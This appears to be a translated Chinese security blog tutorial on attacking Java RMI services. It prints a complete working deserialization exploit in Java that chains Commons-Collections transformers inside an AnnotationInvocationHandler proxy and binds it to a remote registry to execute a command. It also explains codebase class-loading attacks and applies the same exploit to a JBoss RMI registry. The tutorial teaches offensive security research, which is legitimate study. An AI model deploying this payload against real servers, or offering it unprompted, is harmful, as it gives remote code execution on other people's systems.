[Pit JAVA Security] How to attack RMI application?

0x01 Preface

The last chapter introduced the basic concepts of rmi, and briefly mentioned the use of rmi. This chapter will explain how to attack rmi in combination with specific code and practice.

0x02 Use deserialization to attack RMI

This is also the attack method we mentioned above. This attack has two premises:

  1. The rmi server provides a remote method for receiving Object type parameters
  2. The lib of the rmi server or the jar package with the pop utilization chain in the classpath, such as commons-collections.jar of version 3.1

Let's take a look directly at a case (the RMI server still uses the demo from the previous chapter):

Server side:

package server;

import model.Hello;
import model.impl.Helloimpl;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Server {
    
    
    public static void main(String[] args) throws RemoteException{
    
    
        // 创建对象
        Hello hello = new Helloimpl();
        // 创建注册表
        Registry registry = LocateRegistry.createRegistry(1099);
        // 绑定对象到注册表,并给他取名为hello
        registry.rebind("hello", hello);
    }
}

Now, we need to construct a malicious client and send a malicious serialized object to the server, as follows:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;

public class RMIExploit {
    
    

    public static void main(String[] args) throws Exception {
    
    

        // 远程RMI Server的地址
        String ip = "192.168.201.24";
        int port = 1099;
        // 要执行的命令
        String command = "gnome-calculator";

        final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";

        // real chain for after setup
        final Transformer[] transformers = new Transformer[] {
    
    
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[] {
    
    String.class, Class[].class },
                        new Object[] {
    
    "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke",
                        new Class[] {
    
    Object.class, Object[].class },
                        new Object[] {
    
    null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] {
    
     String.class },
                        new Object[] {
    
     command }),
                new ConstantTransformer(1) };

        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
        TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        Field valfield = badAttributeValueExpException.getClass().getDeclaredField("val");
        valfield.setAccessible(true);
        valfield.set(badAttributeValueExpException, entry);
        // 上面都是我们接触过得代码,正常的payload生成,下面的就是把它包装一下,让它可以在rmi中使用

        // 为了能够封装到AnnotationInvocationHandler中,需要把badAttributeValueExpException先放到一个map结构中
        String name = "axin";
        Map<String, Object> map = new HashMap<String, Object>();
        map.put(name, badAttributeValueExpException);
        // 获得AnnotationInvocationHandler的构造函数
        Constructor cl = Class.forName(ANN_INV_HANDLER_CLASS).getDeclaredConstructors()[0];
        cl.setAccessible(true);
        // 实例化一个Remote.class的代理
        InvocationHandler hl = (InvocationHandler)cl.newInstance(Override.class, map);
        Object object = Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[]{
    
    Remote.class}, hl);
        Remote remote = Remote.class.cast(object);
        Registry registry=LocateRegistry.getRegistry(ip,port);
        registry.bind(name, remote);
    }
}

The purpose of the code has been explained in the comments, but the last point of the code still needs to be emphasized, because the remote object in bind(name,remote) must implement the Remote interface, but our badAttributeValueExpException does not implement this interface, so here A very clever technique is used, which is to use dynamic proxy to proxy Remote.class, and set the handler of this class to the AnnotationInvocationHandler that encapsulates our badAttributeValueExpException object. Here it is not necessarily encapsulated with AnnotationInvocationHandler and replaced with other handlers. It is also possible, so that we can send our malicious serialized object to the server.

ps: Although our objects are encapsulated in the handler, Java will be deserialized layer by layer, so don't worry about our objects not being deserialized.

Some articles mentioned that you cannot directly bind malicious objects to the registry and can only bind, rebind, unbind and other methods locally, but after my test, it is possible. The experimental results are as follows:

Server (my physical machine):

Insert picture description here

Attacker (my virtual machine):

Insert picture description here

In fact, this attack method is still attacking the registry (it should be). If the registry and the remote object providing server are not on the same host, then we must note that we are attacking the registry instead of the remote object providing server, but generally the registry and the remote object providing server The servers are all the same host.

If you are not on the same host and want to attack the remote object provider server, you cannot use the above method of invoking the bind method. Instead, you need to meet the two conditions mentioned at the beginning and write additional exp based on the actual situation.

0x03 Directly call dangerous remote methods

As the title says, if the Server side registers an object to the Registry, and there is a method in this object that can perform certain dangerous operations, such as writing files, executing commands, etc., then we can directly write a Client side, Then call this dangerous method to complete the attack. For this attack method, there is a very good tool: https://github.com/NickstaDB/BaRMIe

The principle of this tool should be to use the list() method or brute force cracking to list all remote registered remote objects in order to detect dangerous objects~ (guess ^^)

0x04 rmi dynamic class loading

One of the core features of RMI is dynamic class loading. If there is no definition of a certain class in the current JVM, it can download the class of this class from a remote URL, and the dynamically loaded object class file can be hosted in a web service. This can dynamically expand the functions of remote applications, and multiple RMI applications can be dynamically loaded and bound on the RMI registry. For the client, the return value of the server may also be an object instance of some subclasses, and the client does not have the class files of these subclasses. If the client is required to correctly call the overridden methods in these subclasses, the same is true Need the ability to dynamically load additional classes at runtime. The client uses the same mechanism as the RMI registry. The RMI server passes the URL to the client, and the client downloads these classes through HTTP requests.

Therefore, if we can control where the client loads classes from, then we can let the client load malicious classes to accomplish the purpose of the attack.

Regarding the dynamic class loading of rmi, there are two more typical attack methods, one is the famous JNDI injection, and the other is the security problem of codebase. Regarding JNDI injection, we will open a separate chapter later, here is just to talk about the security issues of codebase, use the code reference: https://paper.seebug.org/1091/#java-rmi_3 I will briefly elaborate here.

As mentioned earlier, dynamic class loading can load locally non-existent class files from a URL, so where is the URL specified? In fact, it is specified by the property java.rmi.server.codebase. How to set the property in the code? ?

System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8000/");

After setting up as above, when the class com.axin.hello cannot be found locally, it will go to the address: http://127.0.0.1:8000/com/axin/hello.classdownload the class file to the local to ensure that it can be called correctly

Codebase reference: https://blog.csdn.net/bigtree_3721/article/details/50614289

After talking for so long, still did not mention how to attack? I said earlier that if you can control where the client loads the class from, you can complete the attack, right, then how to control it? In fact, the value of codebase is mutually specified, that is, the client tells the server where to load the class, and the server tells the client where to load the class. This is the correct usage of codebase, which means that the value of codebase is controllable by the other party. Instead of using the codebase specified locally, when the server uses the above code to set the codebase, it will send the object to the client with the value of the codebase set by the server, and the client will receive the object returned by the server If the class file is not found locally, it will check the codebase attribute passed from the server, and then go to the object address to load the class file. If the other party does not provide the codebase, it will mistakenly use the codebase set locally to load the class.

It seems that this exploitation is very simple, and it sounds very common. In fact, this exploitation has preconditions (the following content is quoted from https://paper.seebug.org/1091/#java-rmi_3):

  1. Due to the limitation of Java SecurityManager, remote loading is not allowed by default. If you need to load classes remotely, you need to install RMISecurityManager and configure java.security.policy.
  2. The value of the property java.rmi.server.useCodebaseOnly must be false. But starting from JDK 6u45 and 7u21, the default value of java.rmi.server.useCodebaseOnly is true. When the value is true, automatic loading of remote class files will be disabled, and class files will only be loaded from the CLASSPATH and the java.rmi.server.codebase specified path of the current virtual machine. Use this attribute to prevent the virtual machine from dynamically loading classes from other Codebase addresses, increasing the security of RMI ClassLoader.

It is worth mentioning that since the codebase designation is mutual, the client and server can attack each other as long as the conditions are met~

0x05 Case 1 Attacking the rmi registry of jboss

If jboss opens the rmi port to the outside world, we can easily implement RCE. In fact, we also use deserialization attacks, just like our first demo.

  1. Scan port

Insert picture description here

  1. exp open

Just use the above poc to change the exp directly, change the ip port or something

Insert picture description here

It is worth mentioning that the rmi registry of jboss runs on the ports 1090\1091\1098, 1099 is not the rmi registry, and we have to attack port 1090 to succeed, because the registry of port 1090 only registered what we want The target? Attacks 1091 and 1098 will explode the following error

Insert picture description here

Vulnerability analysis, mining, go to my official account to see more

Insert picture description here

Guess you like

Origin blog.csdn.net/he_and/article/details/105532066